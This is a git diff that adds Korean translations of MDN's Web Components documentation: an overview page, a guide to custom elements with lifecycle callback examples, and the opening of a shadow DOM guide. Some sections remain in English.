+ <li><strong>Shadow DOM</strong>: 캡슐화된 "그림자" DOM 트리를 엘리먼트 — 메인 다큐먼트 DOM 으로부터 독립적으로 렌더링 되는 — 를 추가하고 연관된 기능을 제어하기 위한 JavaScript API 의 집합. 이 방법으로 엘리먼트의 기능을 프라이빗하게 유지할 수 있어, 다큐먼트의 다른 부분과의 충돌에 대한 걱정 없이 스크립트와 스타일을 작성할 수 있습니다.</li>
+ <li><strong>HTML 템플릿</strong>: {{HTMLElement("template")}} 과 {{HTMLElement("slot")}} 엘리먼트는 렌더링된 페이지에 나타나지 않는 마크업 템플릿을 작성할 수 있게 해줍니다. 그 후, 커스텀 엘리먼트의 구조를 기반으로 여러번 재사용할 수 있습니다.</li>
+</ul>
+
+<p>웹 컴포넌트를 구현하기 위한 기본 접근법은 일반적으로 다음과 같습니다.</p>
+
+<ol>
+ <li>ECMAScript 2015 클래스 문법(자세한 내용은 <a href="/ko/docs/Web/JavaScript/Reference/Classes">Classes</a>에서 확인)을 사용해 웹 컴포넌트 기능을 명시하는 클래스를 생성합니다.</li>
+ <li>{{domxref("CustomElementRegistry.define()")}} 메소드를 사용해 새로운 커스텀 엘리먼트를 등록하고, 정의할 엘리먼트 이름, 기능을 명시하고 있는 클래스, (선택적으로) 상속받은 엘리먼트를 전달합니다.</li>
+ <li>필요한 경우, {{domxref("Element.attachShadow()")}} 메소드를 사용해 shadow DOM 을 커스텀 엘리먼트에 추가합니다. 일반적인 DOM 메소드를 사용해 자식 엘리먼트, 이벤트 리스너 등을 shadow DOM 에 추가합니다.</li>
+ <li>필요한 경우, {{htmlelement("template")}} 과 {{htmlelement("slot")}} 을 사용해 HTML 템플릿을 정의합니다. 다시 일반적인 DOM 메소드를 사용해 템플릿을 클론하고 shadow DOM 에 추가합니다.</li>
+ <li>일반적인 HTML 엘리먼트처럼, 페이지의 원하는 어느곳이든 커스텀 엘리먼트를 사용할 수 있습니다.</li>
+</ol>
+
+<h2 id="튜토리얼">튜토리얼</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/Web_Components/Using_custom_elements">커스텀 엘리먼트 사용하기</a></dt>
+ <dd>간단한 웹 컴포넌트를 생성하는 커스텀 엘리먼트의 기능을 사용하는 방법과 라이프사이클 콜백 및 그 외 고급 기능들을 보여주는 가이드입니다.</dd>
+ <dt><a href="/ko/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM 사용하기</a></dt>
+ <dd>shadow DOM 기본을 살펴보고, shadow DOM 을 엘리먼트에 추가하고, shadow DOM 트리를 추가하고 스타일링하는 방법 등을 보여주는 가이드입니다.</dd>
+ <dt><a href="/ko/docs/Web/Web_Components/Using_templates_and_slots">템플릿과 슬롯 사용하기</a></dt>
+ <dd>{{htmlelement("template")}} 과 {{htmlelement("slot")}} 엘리먼트를 사용해 재사용가능한 HTML 구조를 정의하는 방법과 웹 컴포넌트 내에서 그 구조를 사용하는 방법을 보여주는 가이드입니다.</dd>
+</dl>
+
+<h2 id="레퍼런스">레퍼런스</h2>
+
+<h3 id="커스텀_엘리먼트">커스텀 엘리먼트</h3>
+
+<dl>
+ <dt>{{domxref("CustomElementRegistry")}}</dt>
+ <dd>커스텀 엘리먼트와 관련된 기능을 포함하며, 새로운 커스텀 엘리먼트를 등록하여 다큐먼트에서 사용할 수 있도록 해주는 {{domxref("CustomElementRegistry.define()")}} 메소드가 가장 주요합니다.</dd>
+ <dt>{{domxref("Window.customElements")}}</dt>
+ <dd><code>CustomElementRegistry</code> 객체에 대한 참조를 반환합니다.</dd>
+ <dt><a href="/ko/docs/Web/Web_Components/Using_custom_elements#Using_the_lifecycle_callbacks">라이프 사이클 콜백</a></dt>
+ <dd>커스텀 엘리먼트의 클래스 정의 내에 정의되어 동작에 영향을 주는 특별한 콜백 함수입니다.
+ <ul>
+ <li><code>connectedCallback</code>: 커스텀 엘리먼트가 처음으로 다큐먼트의 DOM 에 연결되었을 때 호출됩니다.</li>
+ <li><code>disconnectedCallback</code>: 커스텀 엘리먼트가 다큐먼트의 DOM 으로부터 연결 해제되었을 때 호출됩니다.</li>
+ <li><code>adoptedCallback</code>: 커스텀 엘리먼트가 새로운 다큐먼트로 이동되었을 때 호출됩니다.</li>
+ <li><code>attributeChangedCallback</code>: 커스텀 엘리먼트의 어트리뷰트가 추가, 제거 또는 변경되었을  때 호출됩니다.</li>
+ </ul>
+ </dd>
+ <dd>
+ <ul>
+ </ul>
+ </dd>
+</dl>
+
+<dl>
+ <dt>커스텀 내장 엘리먼트 생성을 위한 확장 기능</dt>
+ <dd>
+ <ul>
+ <li>{{htmlattrxref("is")}} 전역 HTML 어트리뷰트: 표준 HTML 엘리먼트가 등록된 커스텀 내장 엘리먼트처럼 동작하도록 지정을 허용합니다.</li>
+ <li>{{domxref("Document.createElement()")}} 메소드의 "is" 옵션: 주어진 등록된 커스텀 내장 엘리먼트처럼 동작하는 표준 HTML 엘리먼트의 인스턴스를 생성하는 것을 허용합니다.</li>
+ </ul>
+ </dd>
+ <dt>CSS 수도(pseudo) 클래스</dt>
+ <dd>커스텀 엘리먼트에 관련된 수도 클래스입니다.
+ <ul>
+ <li>{{cssxref(":defined")}}: 내장 엘리먼트와 <code>CustomElementRegistry.define()</code> 으로 정의된 커스텀 엘리먼트를 포함해, 정의된 모든 엘리먼트와 일치합니다.</li>
+ <li>{{cssxref(":host")}}: 대상 CSS 를 내부에 포함하고 있는 <a href="/ko/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> 의 shadow 호스트를 선택합니다.</li>
+ <li>{{cssxref(":host()")}}: 대상 CSS 를 내부에 포함하고 있는 <a href="/ko/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> 의 shadow 호스트를 선택합니다(따라서 shadow DOM 내부에서 커스텀 엘리먼트를 선택할 수 있습니다) — 함수의 파라미터로써 주어진 셀렉터가 shadow 호스트에 일치하는 경우에만 해당합니다.</li>
+ <li>{{cssxref(":host-context()")}}: 대상 CSS 를 내부에 포함하고 있는 <a href="/ko/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> 의 shadow 호스트를 선택합니다(따라서 shadow DOM 내부에서 커스텀 엘리먼트를 선택할 수 있습니다) — 함수의 파라미터로써 주어진 셀렉터가 DOM 계층 내에 위치한 shadow 호스트의 조상에 일치하는 경우에만 해당합니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Shadow_DOM">Shadow DOM</h3>
+
+<dl>
+ <dt>{{domxref("ShadowRoot")}}</dt>
+ <dd>shadow DOM 하위 트리의 루트 노드를 나타냅니다.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot")}}</dt>
+ <dd>다큐먼트와 shadow 루트 모두에서 사용가능한 기능을 정의하는 믹스인</dd>
+ <dt>{{domxref("Element")}} 확장 기능</dt>
+ <dd>shadow DOM 에 관련된 <code>Element</code> 인터페이스의 확장 기능입니다.
+ <ul>
+ <li>{{domxref("Element.attachShadow()")}} 메소드는 shadow DOM 트리를 지정된 엘리먼트에 추가합니다.</li>
+ <li>{{domxref("Element.shadowRoot")}} 프로퍼티는 지정된 엘리먼트에 추가된 shadow 루트를 반환합니다. 추가된 shadow 루트가 없을 경우 <code>null</code> 을 반환합니다.</li>
+ </ul>
+ </dd>
+ <dt>{{domxref("Node")}} 추가 관련</dt>
+ <dd>shadow DOM 과 관련된 <code>Node</code> 인터페이스에 추가
+ <ul>
+ <li>{{domxref("Node.getRootNode()")}} 메소드는 사용 가능한 shadow 루트가 있을 경우 선택적으로 이를 포함하는 컨텍스트의 객체의 루트를 반환합니다.</li>
+ <li>{{domxref("Node.isConnected")}} 프로퍼티는 노드가 직접 또는 간접적으로 컨텍스트 객체(예를 들면, 일반 DOM 의 경우 {{domxref("Document")}} 객체, shadow DOM 의 경우 {{domxref("ShadowRoot")}})에 연결되었는지를 나타내는 boolean 을 반환합니다.</li>
+ </ul>
+ </dd>
+ <dt>{{domxref("Event")}} 확장 기능</dt>
+ <dd>shadow DOM 과 관련된 <code>Event</code> 인터페이스의 확장 기능
+ <ul>
+ <li>{{domxref("Event.composed")}}: 이벤트가 shadow DOM 영역을 거쳐 일반 DOM 으로 전파 되는지를 나타내는 {{jsxref("Boolean")}} 을 반환합니다(전파되면 <code>true</code>, 그렇지 않으면 <code>false</code>) </li>
+ <li>{{domxref("Event.composedPath")}}: 이벤트의 패스(이벤트가 호출될 객체)를 반환합니다. shadow 루트가 {{domxref("ShadowRoot.mode")}} closed 로 생성된경우 shadow 트리의 노드를 포함하지 않습니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="HTML_템플릿">HTML 템플릿</h3>
+
+<dl>
+ <dt>{{htmlelement("template")}}</dt>
+ <dd>다큐먼트가 처음 로드될 때 렌더링되지 않지만 JavaScript를 사용하는 런타임에 나타나는 HTML 조각을 포함합니다. 주로 커스텀 엘리먼트 구조의 기본으로 사용됩니다. 관련된 DOM 인터페이스로 {{domxref("HTMLTemplateElement")}} 가 있습니다.</dd>
+ <dt>{{htmlelement("slot")}}</dt>
+ <dd>자신만의 마크업으로 채울 수 있는 웹 컴포넌트 내부의 placeholder 입니다. 별도의 DOM 트리로 생성하고 함께 보여줄 수 있게 해줍니다. 관련된 DOM 인터페이스로 {{domxref("HTMLSlotElement")}} 가 있습니다.</dd>
+ <dt><code><a href="/ko/docs/Web/HTML/Global_attributes/slot">slot</a></code> 전역 HTML 어트리뷰트</dt>
+ <dd>shadow DOM shadow 트리내의 slot을 엘리먼트로 할당합니다.</dd>
+ <dt>{{domxref("Slotable")}}</dt>
+ <dd>{{domxref("Element")}} 와 {{domxref("Text")}} 노드로 구현된 믹스인입니다. {{htmlelement("slot")}} 엘리먼트의 컨텐츠로 만들기 위한 기능들을 정의합니다. 믹스인은 노드가 삽입된 슬롯의 참조를 반환하는 하나의 어트리뷰트 {{domxref("Slotable.assignedSlot")}} 을 정의합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Element")}} 확장 기능</dt>
+ <dd>슬롯과 관련된 <code>Element</code> 인터페이스 확장 기능
+ <ul>
+ <li>{{domxref("Element.slot")}}: 엘리먼트에 추가된 shadow DOM 슬롯의 이름을 반환합니다.</li>
+ </ul>
+ </dd>
+ <dt>CSS 수도(pseudo) 엘리먼트</dt>
+ <dd>슬롯과 관련된 수도 엘리먼트입니다.
+ <ul>
+ <li>{{cssxref("::slotted")}}: 슬롯으로 삽입된 모든 컨텐츠와 일치합니다.</li>
+ </ul>
+ </dd>
+ <dt>{{event("slotchange")}} 이벤트</dt>
+ <dd>슬롯에 포함된 노드가 변경될 때 {{domxref("HTMLSlotElement")}} 인스턴스({{htmlelement("slot")}} 엘리먼트)에서 실행됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p><a href="https://github.com/mdn/web-components-examples">web-components-examples</a> GitHub 저장소에 많은 예제를 생성하였습니다. 더 많은 예제가 추가될 예정입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG","scripting.html#the-template-element","&lt;template&gt; element")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>{{HTMLElement("template")}} 의 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG","custom-elements.html#custom-elements","custom elements")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td><a href="https://developer.mozilla.org/ko/docs/Web/Web_Components/Using_custom_elements">HTML 커스텀 엘리먼트</a>의 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM WHATWG","#shadow-trees","shadow trees")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td><a href="https://developer.mozilla.org/ko/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a> 의 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML Imports", "", "")}}</td>
+ <td>{{Spec2("HTML Imports")}}</td>
+ <td>초기 <a href="https://developer.mozilla.org/ko/docs/Web/Web_Components/HTML_Imports">HTML Imports</a> 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("Shadow DOM", "", "")}}</td>
+ <td>{{Spec2("Shadow DOM")}}</td>
+ <td>초기 <a href="https://developer.mozilla.org/ko/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a> 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p> </p>
+
+<p>일반적인 경우,</p>
+
+<ul>
+ <li>웹 컴포넌트는 기본적으로 Firefox (버전 63), Chrome, 및 Opera 에서 지원됩니다.</li>
+ <li>Safari 는 많은 웹 컴포넌트 기능을 지원하지만 위 브라우저들만큼은 아닙니다.</li>
+ <li>Edge 는 구현 작업중입니다.</li>
+</ul>
+
+<p>특정 기능들의 브라우저 지원에 대한 상세 내용은, 위에 나열된 레퍼런스 페이지들에서 찾아보시기 바랍니다.</p>
+
+<p> </p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://www.webcomponents.org/">webcomponents.org</a> — 웹 컴포넌트 예제, 튜토리얼 등의 정보를 포함하는 사이트.</li>
+ <li><a href="https://github.com/hybridsjs/hybrids">Hybrids</a> — 오픈 소스 웹 컴포넌트 라이브러리. <code>class</code> 와 <font face="consolas, Liberation Mono, courier, monospace">this</font> 문법보다 일반 객체와 순수 함수를 선호합니다. 커스텀 엘리먼트 생성을 위한 간단한 함수형 API 를 제공합니다.</li>
+ <li><a href="https://www.polymer-project.org/">Polymer</a> — 구글의 웹 컴포넌트 프레임워크 — 폴리필, 확장 및 예제의 집합. 현재 크로스 브라우징 웹 컴포넌트를 사용하는 가장 쉬운 방법.</li>
+ <li><a href="https://github.com/devpunks/snuggsi#readme">Snuggsi.es</a> — 폴리필 포함 ~1kB 크기의 쉬운 웹 컴포넌트 — 브라우저와 HTML, CSS, JavaScript 클래스에 대한 기본 이해만으로 생산성을 높일 수 있습니다.</li>
+ <li><a href="https://github.com/slimjs/slim.js">Slim.js</a> — 오픈 소스 웹 컴포넌트 라이브러리 — 빠르고 쉬운 컴포넌트 작성을 위한 고성능 라이브러리; 확장 가능하며 플러거블하고 크로스 프레임워크와 호환됩니다.</li>
+</ul>
diff --git a/files/ko/web/web_components/using_custom_elements/index.html b/files/ko/web/web_components/using_custom_elements/index.html
new file mode 100644
index 0000000000..c98c6aa275
--- /dev/null
+++ b/files/ko/web/web_components/using_custom_elements/index.html
@@ -0,0 +1,248 @@
+---
+title: 커스텀 엘리먼트 사용하기
+slug: Web/Web_Components/Using_custom_elements
+tags:
+ - Classes
+ - Guide
+ - HTML
+ - Web Components
+translation_of: Web/Web_Components/Using_custom_elements
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p class="summary">웹 컴포넌트 표준의 주요 기능 중 하나는 HTML 페이지에 커스텀 페이지 기능을 함께 제공하는 엘리먼트의 길고 중첩된 묶음을 만드는 것보다 사용자의 기능이 캡슐화된 커스텀 엘리먼트를 생성하는 기능입니다. 이 문서는 HTML 커스텀 엘리먼트의 사용을 소개합니다.</p>
+
+<div class="note">
+<p><strong>노트</strong>: 커스텀 엘리먼트는 크롬과 오페라에서 기본으로 제공됩니다. 최근에는 사용자가 두 브라우저에서  <code>dom.webcomponents.shadowdom.enabled</code> 과 <code>dom.webcomponents.customelements.enabled</code> 를 <code>true</code> 로 설정하면 사용가능합니다. 파이어폭스는 버전 60/61에서 기본으로 사용할 수 있도록 계획되었습니다. 사파리는 지금까지 <a href="https://w3c.github.io/webcomponents/spec/custom/#autonomous-custom-element">Autonomous custom elements</a>만을 제공하고 엣지 또한 잘 구현되어 있습니다.</p>
+</div>
+
+<h2 id="중요내용_보기">중요내용 보기</h2>
+
+<p>웹 document의 커스텀 엘리먼트의 컨트롤러는 {{domxref("CustomElementRegistry")}} 오브젝트입니다. 이 오브젝트는 사용자가 페이지에서 커스텀 엘리먼트를 등록하도록 하며 등록된 커스텀 컴포넌트의 정보 등을 리턴합니다.</p>
+
+<p>페이지에 커스텀 엘리먼트를 등록하려면 {{domxref("CustomElementRegistry.define()")}} 메소드를 사용하십시오. 이 메소드는 다음과 같은 인자들을 사용합니다. </p>
+
+<ul>
+ <li>{{domxref("DOMString")}} 은 사용자가 엘리먼트에게 전달하려는 이름을 나타냅니다. 커스텀 엘리먼트 이름들은 <a href="https://stackoverflow.com/questions/22545621/do-custom-elements-require-a-dash-in-their-name">dash('-')가 포함된 이름을 사용하도록</a> 주의하십시오. 이 이름들은 한 단어가 될 수 없습니다. (예 : custom-my-element)  </li>
+ <li>엘리먼트의 행위가 정의된 <a href="/en-US/docs/Web/JavaScript/Reference/Classes">class</a> 오브젝트.</li>
+ <li>선택적으로, 커스텀 엘리먼트는 특정 내장 엘리먼트를 상속받도록 지정할 수 있는 옵션 객체   <code>extends</code> 속성을 포함합니다.</li>
+</ul>
+
+<p>예를 들면, 우리는 커스텀 <a href="https://mdn.github.io/web-components-examples/word-count-web-component/">word-count element</a> 를 아래와 같이 정의할 수 있습니다 :</p>
+
+<pre class="brush: js notranslate">customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<p>이 엘리먼트는 <code>word-count</code> 로 불리며 클래스 오브젝트는 <code>WordCount</code> 입니다. 또한 {{htmlelement("p")}} 엘리먼트를 상속받습니다.</p>
+
+<p>커스텀 엘리먼트의 클래스 오브젝트는 표준 ES 2015 클래스 문법으로 작성됩니다. 예를 들면, <code>WordCount</code> 는 다음과 같은 구조입니다 :</p>
+
+<pre class="brush: js notranslate">class WordCount extends HTMLParagraphElement {
+ constructor() {
+ // 항상 생성자에서 super는 처음으로 호출됩니다
+ super();
+
+ // 엘리먼트의 기능들은 여기에 작성합니다.
+
+ ...
+ }
+}</pre>
+
+<p>위의 예제는 매우 간단하지만, 더 많은 것들을 할 수 있습니다. 특정 지점에서 실행되는 생성자 내부에서 특정 지점에서 실행하는 생명주기 콜백을 정의할 수 있습니다. 예를 들면, <code>connectedCallback</code> 은 커스텀 엘리먼트가 document의 DOM에 연결될 때마다 호출되는 반면, <code>attributeChangedCallback</code>은 커스텀 엘리먼트의 애트리뷰트가 추가, 제거 또는 변경될때 호출됩니다.</p>
+
+<p>아래의 {{anch("Using the lifecycle callbacks")}} 부분에서 이러한 부분을 더 배울 수 있습니다.</p>
+
+<p>커스텀 엘리먼트에는 두 종류가 있습니다:</p>
+
+<ul>
+ <li><strong>Autonomous custom elements</strong> are standalone — they don't inherit from standard HTML elements. You use these on a page by literally writing them out as an HTML element. For example <code>&lt;popup-info&gt;</code>, or <code>document.createElement("popup-info")</code>.</li>
+ <li><strong>Customized built-in elements</strong> inherit from basic HTML elements. To create one of these, you have to specify which element they extend (as implied in the examples above), and they are used by writing out the basic element but specifying the name of the custom element in the {{htmlattrxref("is")}} attribute (or property). For example <code>&lt;p is="word-count"&gt;</code>, or <code>document.createElement("p", { is: "word-count" })</code>.</li>
+</ul>
+
+<h2 id="Working_through_some_simple_examples">Working through some simple examples</h2>
+
+<p>At this point, let's go through some more simple examples to show you how custom elements are created in more detail.</p>
+
+<h3 id="Autonomous_custom_elements">Autonomous custom elements</h3>
+
+<p>Let's have a look at an example of an autonomous custom element — <code><a href="https://github.com/mdn/web-components-examples/tree/master/popup-info-box-web-component">&lt;popup-info-box&gt;</a></code> (see a <a href="https://mdn.github.io/web-components-examples/popup-info-box-web-component/">live example</a>). This takes an image icon and a text string, and embeds the icon into the page. When the icon is focused, it displays the text in a pop up information box to provide further in-context information.</p>
+
+<p>To begin with, the JavaScript file defines a class called <code>PopUpInfo</code>, which extends {{domxref("HTMLElement")}}. Autonomous custom elements nearly always extend <code>HTMLElement</code>.</p>
+
+<pre class="brush: js notranslate">class PopUpInfo extends HTMLElement {
+ constructor() {
+ // Always call super first in constructor
+ super();
+
+ // write element functionality in here
+
+ ...
+ }
+}</pre>
+
+<p>The preceding code snippet contains the {{jsxref("Classes.constructor","constructor")}} definition for the class, which always starts by calling <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super()</a></code> so that the correct prototype chain is established.</p>
+
+<p>Inside the constructor, we define all the functionality the element will have when an instance of it is instantiated. In this case we attach a shadow root to the custom element, use some DOM manipulation to create the element's internal shadow DOM structure — which is then attached to the shadow root — and finally attach some CSS to the shadow root to style it.</p>
+
+<pre class="brush: js notranslate">// Create a shadow root
+var shadow = this.attachShadow({mode: 'open'});
+
+// Create spans
+var wrapper = document.createElement('span');
+wrapper.setAttribute('class','wrapper');
+var icon = document.createElement('span');
+icon.setAttribute('class','icon');
+icon.setAttribute('tabindex', 0);
+var info = document.createElement('span');
+info.setAttribute('class','info');
+
+// Take attribute content and put it inside the info span
+var text = this.getAttribute('text');
+info.textContent = text;
+
+// Insert icon
+var imgUrl;
+if(this.hasAttribute('img')) {
+ imgUrl = this.getAttribute('img');
+} else {
+ imgUrl = 'img/default.png';
+}
+var img = document.createElement('img');
+img.src = imgUrl;
+icon.appendChild(img);
+
+// Create some CSS to apply to the shadow dom
+var style = document.createElement('style');
+
+style.textContent = '.wrapper {' +
+// CSS truncated for brevity
+
+// attach the created elements to the shadow dom
+
+shadow.appendChild(style);
+shadow.appendChild(wrapper);
+wrapper.appendChild(icon);
+wrapper.appendChild(info);</pre>
+
+<p>Finally, we register our custom element on the <code>CustomElementRegistry</code> using the <code>define()</code> method we mentioned earlier — in the parameters we specify the element name, and then the class name that defines its functionality:</p>
+
+<pre class="brush: js notranslate">customElements.define('popup-info', PopUpInfo);</pre>
+
+<p>It is now available to use on our page. Over in our HTML, we use it like so:</p>
+
+<pre class="brush: html notranslate">&lt;popup-info img="img/alt.png" text="Your card validation code (CVC)
+ is an extra security feature — it is the last 3 or 4 numbers on the
+ back of your card."&gt;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can see the <a href="https://github.com/mdn/web-components-examples/blob/master/popup-info-box-web-component/main.js">full JavaScript source</a> code here.</p>
+</div>
+
+<h3 id="Customized_built-in_elements">Customized built-in elements</h3>
+
+<p>Now let's have a look at another customized built in element example — <a href="https://github.com/mdn/web-components-examples/tree/master/expanding-list-web-component">expanding-list</a> (<a href="https://mdn.github.io/web-components-examples/expanding-list-web-component/">see it live also</a>). This turns any unordered list into an expanding/collapsing menu.</p>
+
+<p>First of all, we define our element's class, in the same manner as before:</p>
+
+<pre class="brush: js notranslate">class ExpandingList extends HTMLUListElement {
+ constructor() {
+ // Always call super first in constructor
+ super();
+
+ // write element functionality in here
+
+ ...
+ }
+}</pre>
+
+<p>We will not explain the element functionality in any detail here, but you can discover how it works by checking out the source code. The only real difference here is that our element is extending the {{domxref("HTMLUListElement")}} interface, and not {{domxref("HTMLElement")}}. So it has all the characteristics of a {{htmlelement("ul")}} element with the functionality we define built on top, rather than being a standalone element. This is what makes it a customized built-in, rather than an autonomous element.</p>
+
+<p>Next, we register the element using the <code>define()</code> method as before, except that this time it also includes an options object that details what element our custom element inherits from:</p>
+
+<pre class="brush: js notranslate">customElements.define('expanding-list', ExpandingList, { extends: "ul" });</pre>
+
+<p>Using the built-in element in a web document also looks somewhat different:</p>
+
+<pre class="brush: html notranslate">&lt;ul is="expanding-list"&gt;
+
+ ...
+
+&lt;/ul&gt;</pre>
+
+<p>You use a <code>&lt;ul&gt;</code> element as normal, but specify the name of the custom element inside the <code>is</code> attribute.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Again, you can see the full <a href="https://github.com/mdn/web-components-examples/blob/master/expanding-list-web-component/main.js">JavaScript source code</a> here.</p>
+</div>
+
+<h2 id="Using_the_lifecycle_callbacks">Using the lifecycle callbacks</h2>
+
+<p>You can define several different callbacks inside a custom element's constructor, which fire at different points in the element's lifecycle:</p>
+
+<ul>
+ <li><code>connectedCallback</code>: Invoked when the custom element is first connected to the document's DOM.</li>
+ <li><code>disconnectedCallback</code>: Invoked when the custom element is disconnected from the document's DOM.</li>
+ <li><code>adoptedCallback</code>: Invoked when the custom element is moved to a new document.</li>
+ <li><code>attributeChangedCallback</code>: Invoked when one of the custom element's attributes is added, removed, or changed.</li>
+</ul>
+
+<p>Let's look at an example of these in use. The code below is taken from the <a href="https://github.com/mdn/web-components-examples/tree/master/life-cycle-callbacks">life-cycle-callbacks</a> example (<a href="https://mdn.github.io/web-components-examples/life-cycle-callbacks/">see it running live</a>). This is a trivial example that simply generates a colored square of a fixed size on the page. The custom element looks like this:</p>
+
+<pre class="brush: html notranslate">&lt;custom-square l="100" c="red"&gt;&lt;/custom-square&gt;</pre>
+
+<p>The class constructor is really simple — here we attach a shadow DOM to the element, then attach empty {{htmlelement("div")}} and {{htmlelement("style")}} elements to the shadow root:</p>
+
+<pre class="brush: js notranslate">var shadow = this.attachShadow({mode: 'open'});
+
+var div = document.createElement('div');
+var style = document.createElement('style');
+shadow.appendChild(style);
+shadow.appendChild(div);</pre>
+
+<p>The key function in this example is <code>updateStyle()</code> — this takes an element, gets its shadow root, finds its <code>&lt;style&gt;</code> element, and adds {{cssxref("width")}}, {{cssxref("height")}}, and {{cssxref("background-color")}} to the style.</p>
+
+<pre class="brush: js notranslate">function updateStyle(elem) {
+ var shadow = elem.shadowRoot;
+ var childNodes = shadow.childNodes;
+ for(var i = 0; i &lt; childNodes.length; i++) {
+ if(childNodes[i].nodeName === 'STYLE') {
+ childNodes[i].textContent = 'div {' +
+ ' width: ' + elem.getAttribute('l') + 'px;' +
+ ' height: ' + elem.getAttribute('l') + 'px;' +
+ ' background-color: ' + elem.getAttribute('c');
+ }
+ }
+}</pre>
+
+<p>The actual updates are all handled by the life cycle callbacks, which are placed inside the constructor. The <code>connectedCallback()</code> runs when the element is added to the DOM — here we run the <code>updateStyle()</code> function to make sure the square is styled as defined in its attributes:</p>
+
+<pre class="brush: js notranslate">connectedCallback() {
+ console.log('Custom square element added to page.');
+ updateStyle(this);
+}</pre>
+
+<p>the <code>disconnectedCallback()</code> and <code>adoptedCallback()</code> callbacks log simple messages to the console to inform us when the element is either removed from the DOM, or moved to a different page:</p>
+
+<pre class="brush: js notranslate">disconnectedCallback() {
+ console.log('Custom square element removed from page.');
+}
+
+adoptedCallback() {
+ console.log('Custom square element moved to new page.');
+}</pre>
+
+<p>The <code>attributeChangedCallback()</code> callback is run whenever one of the element's attributes is changed in some way. As you can see from its properties, it is possible to act on attributes individually, looking at their name, and old and new attribute values. In this case however, we are just running the <code>updateStyle()</code> function again to make sure that the square's style is updated as per the new values:</p>
+
+<pre class="brush: js notranslate">attributeChangedCallback(name, oldValue, newValue) {
+ console.log('Custom square element attributes changed.');
+ updateStyle(this);
+}</pre>
+
+<p>Note that to get the <code>attributeChangedCallback()</code> callback to fire when an attribute changes, you have to observe the attributes. This is done by calling the <code>observedAttributes()</code> getter inside the constructor, including inside it a <code>return</code> statement that returns an array containing the names of the attributes you want to observe:</p>
+
+<pre class="brush: js notranslate">static get observedAttributes() {return ['w', 'l']; }</pre>
+
+<p>This is placed right at the top of the constructor, in our example.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Find the <a href="https://github.com/mdn/web-components-examples/blob/master/life-cycle-callbacks/main.js">full JavaScript source</a> here.</p>
+</div>
diff --git a/files/ko/web/web_components/using_shadow_dom/index.html b/files/ko/web/web_components/using_shadow_dom/index.html
new file mode 100644
index 0000000000..7d82820b76
--- /dev/null
+++ b/files/ko/web/web_components/using_shadow_dom/index.html
@@ -0,0 +1,230 @@
+---
+title: Using shadow DOM
+slug: Web/Web_Components/Using_shadow_DOM
+tags:
+ - API
+ - DOM
+ - Guide
+ - Web Components
+ - shadow
+ - shadow dom
+ - 쉐도우 돔
+ - 웹 컴포넌트
+ - 웹컴포넌트
+translation_of: Web/Web_Components/Using_shadow_DOM
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p class="summary">웹 컴포넌트의 중요한 측면은 캡슐화입니다. 마크업 구조, 스타일 그리고 동작을 페이지 내의 다른 코드와<br>
+ 분리하고 숨긴채로 유지하여 서로 충돌하지 않으며, 코드가 좋고 깨끗하게 되도록 하는 중요한 측면입니다.<br>
+ Shadow DOM API 는 이러한 캡슐화의 핵심이며, 숨겨지고 분리된 DOM 을 엘리먼트에 달 수 있는<br>
+ 방법입니다. 현재 문서는 Shadow DOM 의 기본적인 사용을 다루고 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Shadow DOM 은 Firefox (63 and onwards), Chrome, Opera, and Safari 에서 기본으로 지원되고 있습니다.  새로운 Chromium 기반의 Edge (75 and onwards) 또한 지원하고 있습니다. 그러나 구버전의 Edge 는 지원하지 않습니다.</p>
+</div>
+
+<h2 id="High-level_view">High-level view</h2>
+
+<p>This article assumes you are already familiar with the concept of the <a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">DOM (Document Object Model)</a> — a tree-like structure of connected nodes that represents the different elements and strings of text appearing in a markup document (usually an HTML document in the case of web documents). As an example, consider the following HTML fragment:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="utf-8"&gt;
+ &lt;title&gt;Simple DOM example&lt;/title&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;section&gt;
+ &lt;img src="dinosaur.png" alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."&gt;
+ &lt;p&gt;Here we will add a link to the &lt;a href="https://www.mozilla.org/"&gt;Mozilla homepage&lt;/a&gt;&lt;/p&gt;
+ &lt;/section&gt;
+ &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>This fragment produces the following DOM structure:</p>
